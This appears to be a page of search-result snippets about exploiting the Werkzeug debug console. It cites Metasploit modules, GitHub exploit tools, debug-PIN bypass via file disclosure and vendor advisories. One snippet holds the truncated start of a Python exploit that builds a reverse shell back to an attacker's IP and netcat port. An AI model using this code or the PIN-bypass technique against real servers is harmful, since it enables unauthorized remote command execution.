Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-conso...

June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

December 4, 2022 - This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing.

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

2 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell ...

As explained by Carlos Polop in Hacktricks.xyz, this exploit is to access /console from Werkzeug when it requires a pin. This Console is a debug console that is Python based, which means, once you access this debug console, you could launch ...

November 10, 2024 - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell ...

Collection of different exploits. Contribute to am0nsec/exploit development by creating an account on GitHub.

It may be necessary to set this ... before the request is passed to the application. Determines which algorithm the exploit module will use to generate a pin and cookie....

This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

September 15, 2015 - This indicates an attack attempt to exploit a Remote Code Execution in Werkzeug Debug Console. The vulnerability is caused by a design weakness when the target application handles a maliciously crafted debug command.

August 17, 2015 - Werkzeug Debug Shell Command Execution Exploit This module exploits the Werkzeug debug console to put down a Python shell. It is tested against 0.9.6 on Debian, 0.9.6 on Centos, and 0.10 on Debian.

It is intended to make it harder for an attacker to exploit the debugger. Never enable the debugger in production. The debug console will only be served if the request comes from a trusted host. If a request comes from a browser page that is not served on a trusted URL, a 400 error will be returned.

August 18, 2015 - ## # This module requires Metasploit: ...e_info(info, 'Name' => 'Werkzeug Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....

By exploiting the path traversal vulnerability and gathering system information, we successfully generate the debug pin required to access the Werkzeug debugger console remotely.

Werkzeug provides a WSGI middleware that renders nice tracebacks, optionally with an interactive debug console to execute code in any frame. This console functionality can be abused by attackers to run commands on the server.

August 17, 2015 - Information Security Services, News, Files, Tools, Exploits, Advisories, and Whitepapers

May 5, 2024 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact wi...